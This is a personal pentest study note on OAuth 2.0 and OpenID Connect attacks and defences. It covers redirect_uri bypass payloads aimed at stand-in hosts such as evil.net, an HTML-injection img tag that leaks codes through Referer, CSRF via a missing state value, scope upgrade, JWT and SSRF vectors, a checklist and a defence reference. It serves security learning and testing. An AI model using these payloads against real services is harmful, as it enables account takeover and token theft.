OAuth 2.0 Security
Authorization framework, not an authentication protocol, but bolted onto login everywhere anyway. That mismatch is where most bugs live. Spec is deliberately loose, almost everything security-relevant is optional, so real-world implementations leak. Sensitive material (codes, tokens) travels through the browser in most flows, giving you an interception surface a normal password login doesn’t have.
Three parties: client app (wants the data), resource owner (the user), OAuth service (auth server + resource server). When it’s used for login, client swaps received user data in place of a password. Server has nothing to compare against, so it implicitly trusts whatever comes back. That implicit trust is the recurring theme.
Recon first
- Login option “sign in with X” is the tell. Proxy the whole flow through Burp before touching anything.
- First request is always to the
/authorizationendpoint. Watchclient_id,redirect_uri,response_type,scope,state. Endpoint naming varies (/auth,/o/authorize/, etc), identify by params not path. - Hit the well-known config endpoints, they leak the full attack
surface including features not in the docs:
/.well-known/oauth-authorization-server/.well-known/openid-configuration
- External provider - pull their public API docs, exact endpoint names and supported options are documented.
response_type=codeis auth code flow,response_type=tokenis implicit.id_tokenin the mix means OpenID Connect.
Flow cheat (what’s browser-visible vs back-channel)
- Auth code: browser only carries the short-lived
code. Code-for-token exchange is server-to-server over a back-channel authenticated withclient_secret. Token never touches the browser. This is the secure one. - Implicit: access token comes straight back in the URL fragment
(
#access_token=...), no code, no back-channel, no client auth. Everything is browser-visible. Deprecated in the OAuth 2.0 BCP for exactly this reason, superseded by auth code + PKCE. Still see it in the wild on SPAs.
redirect_uri validation (the big one)
Server decides where to send the code/token based on
redirect_uri. Weak validation here means you redirect
the victim’s code/token to a host you control. Highest-impact and
most common OAuth bug class. Even without knowing
client_secret, in the auth code flow you can often
bounce a stolen code through the legit /callback and
let the app do the exchange for you, logging you in as the
victim.
Things to fuzz on redirect_uri:
- Prefix-only matching: server checks the string only starts with an approved value. Append paths, query strings, fragments and see what sticks.
- Parser discrepancies between the components validating vs consuming the URI:
https://default-host.com
&@foo.evil.net#@bar.evil.net/
https://[email protected]/
https://evil.net\@legit.com/
- Parameter pollution: duplicate the param, different components may read different copies.
...&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.net
- localhost special-casing: dev convenience left in prod. Register
localhost.evil.netand see if alocalhost-prefix allow slips it through. - Cross-param interaction: don’t test
redirect_uriin isolation. Flippingresponse_mode(query to fragment) can change how the URI is parsed and unblock values that were rejected.web_messageresponse mode often loosens allowed subdomains.
When external hosts are properly blocked, pivot inside the whitelisted domain
Whitelist holds, so stop trying to escape it and abuse it
instead. Point redirect_uri at another page on the
allowed domain that leaks the code/token off-site.
- Directory traversal out of the OAuth-specific callback path:
https://client.com/oauth/callback/../../some/other/path
resolves server-side to
https://client.com/some/other/path.
- Audit those reachable pages for a leak primitive:
- Open redirect - cleanest proxy. Forward victim plus code/token to your domain.
- XSS - grab the fragment/query, exfil it. Bonus over normal XSS: token gives you the victim’s account in your own browser, way past the tab-close window, and works even with HttpOnly session cookies.
- HTML injection (when JS is blocked by CSP) - inject
<img src="//evil.net">, some browsers (Firefox) send the full URL including query string inReferer, leaking the code. - Dangerous JS handling fragments/query - insecure
postMessage/web-messaging sinks. Sometimes needs a gadget chain across scripts.
For implicit, remember stealing the token isn’t just account
login on the client. Token is valid against the resource server
directly, so you can call /userinfo and pull data the
client UI never exposes.
Missing/weak state (CSRF)
state is the CSRF token for the OAuth flow.
Unguessable, session-bound value echoed back with the code. No
state, or predictable/static state
("state", sequential ints), means you can initiate a
flow yourself and trick the victim’s browser into completing it.
- Forced profile linking: site supports both password login and
“link social account”. No
statemeans you feed the victim your own account’s authorization code, their account gets bound to your social identity, you log in as them afterwards. Account takeover. - Login CSRF (OAuth-only sites): even here, missing
statelets you trick a victim into logging into your account, so their activity lands in a profile you control. - Note:
state/noncedon’t stop redirect_uri code theft, attacker generates fresh values from their own browser.
Scope upgrade
Token issued for a narrow scope, you widen it past what the user consented to.
- Auth code flow: register your own malicious client, add extra
scopeon the code-to-token exchange that wasn’t in the original authorization request. If the server doesn’t validate exchange scope against the granted scope, you get a fatter token.
POST /token...grant_type=authorization_code&code=...&scope=openid%20email%20profile
- Implicit flow: steal a token, then hit
/userinfoyourself with an addedscopeparam. Works if the resource server doesn’t check requested scope against the token’s granted scope. Stays within the app’s granted ceiling but grabs data without further consent.
Defence-side check for reporting: resource server must verify the
token was issued to the same client_id making the
request, and that requested scope matches granted scope.
Unverified user registration (provider trust)
Client blindly trusts provider-supplied identity data. If the provider lets you register an account with an unverified email, register one matching the victim’s known email at the provider, then log into the client “as” them. Pure provider-side data-integrity failure, client can’t tell.
Token hygiene issues (report even if not directly exploitable in the box)
- Insufficient token expiry: long/infinite-lived access tokens turn any single leak into permanent access. Want short access tokens + rotating refresh tokens.
- Replay: no nonce/timestamp binding means a captured token/code is reusable. Codes should be strictly single-use and short-lived.
- Insecure token storage: access/refresh tokens in
localStorage/sessionStorageare XSS-lootable. Want secure, HttpOnly cookies, not browser storage. This is the standing argument against implicit for SPAs.
OpenID Connect specifics
Identity layer on top of OAuth. Stricter spec so fewer glaring
bugs, but it’s still OAuth underneath so all the above still
applies. Adds standardized scopes (openid mandatory,
then
profile/email/address/phone)
and the id_token response type (a JWS-signed JWT
carrying claims + auth context).
- Even if login doesn’t look like OIDC, try adding
openidscope orresponse_type=id_token, servers often support it silently. id_tokenis a JWT, so the whole JWT bug surface reapplies:alg:none, weak/guessable HMAC secret,kidinjection,jku/x5upointing at attacker keys. Signing keys are usually public at/.well-known/jwks.json. (see JWT notes)- Unprotected dynamic client registration: if
/registrationaccepts unauthenticated POSTs, register your own client. Several fields are URIs (logo_uri,jwks_uri, etc), fetched server-side, so second-order SSRF. Also lets you self-register a client with an attackerredirect_uri. - Request-by-reference (
request_uri): some providers let you pass OAuth params as a JWT via arequest_uripointer instead of the query string. Two bugs:request_uriis server-fetched, another SSRF vector.- Params inside the referenced JWT (including
redirect_uri) may skip the validation applied to the query string. Validation bypass. - Check
request_uri_parameter_supportedin the config, or just try addingrequest_uriblind, some servers support it undocumented.
Pentest checklist
- Proxy full flow, map every request/param, diff authorization request vs token exchange.
- Pull both
.well-knownconfigs, note undocumented features (request_uri_parameter_supported, registration endpoint, supported response modes/types). redirect_uri: append paths/params/fragments, traversal,@/\/#parser tricks, duplicate params,localhostprefix, userinfo-host confusions.- Flip
response_type/response_mode, recheck redirect_uri parsing under each. - Is
statepresent, unguessable, and session-bound? If not, profile-linking + login CSRF. - Whitelist solid? Pivot to open redirect / XSS / HTML injection / postMessage sinks on allowed hosts to exfil code or fragment.
- Add unrequested scopes on token exchange (code) or on
/userinfo(implicit). - Can you register a client unauthenticated? SSRF via URI fields + attacker redirect_uri.
- Try
request_urifor SSRF and validation bypass. id_tokenpresent? Run it through the full JWT checklist.- Unverified email registration at provider to impersonate.
- Where does the token land? localStorage/fragment persistence = XSS payoff. Token lifetime, code single-use, refresh rotation.
Defence quick reference
- Strict byte-for-byte
redirect_uriallowlist, exact matches only, no prefix/pattern matching. - Enforce
state, bound to session (hash of session cookie), unguessable. - Send
redirect_urito/tokenas well as/authorization, server checks they match. - Resource server verifies token’s
client_idmatches the caller and requested scope <= granted scope. - Auth code + PKCE (RFC 7636) for public/native/mobile clients that can’t hold a secret. Prefer over implicit everywhere.
- Validate
id_tokenper JWS/JWE/OIDC spec, don’t trust an unverified signature. - Never carry codes/tokens where
Referercan leak them, keep them out of dynamically generated JS pulled cross-origin. - Tokens in secure HttpOnly cookies, not browser storage. Short access token TTL, single-use codes, rotating refresh tokens.
- Authenticate dynamic client registration.
Sources / see more
- TryHackMe - OAuth Vulnerabilities room
- PortSwigger Web Security Academy - OAuth authentication, grant types, OpenID Connect, preventing
- PortSwigger Research - Hidden OAuth Attack Vectors
- OAuth 2.0 Security Best Current Practice (RFC), PKCE (RFC 7636)
- Related notes: JWT Security, CSRF, SSRF, XSS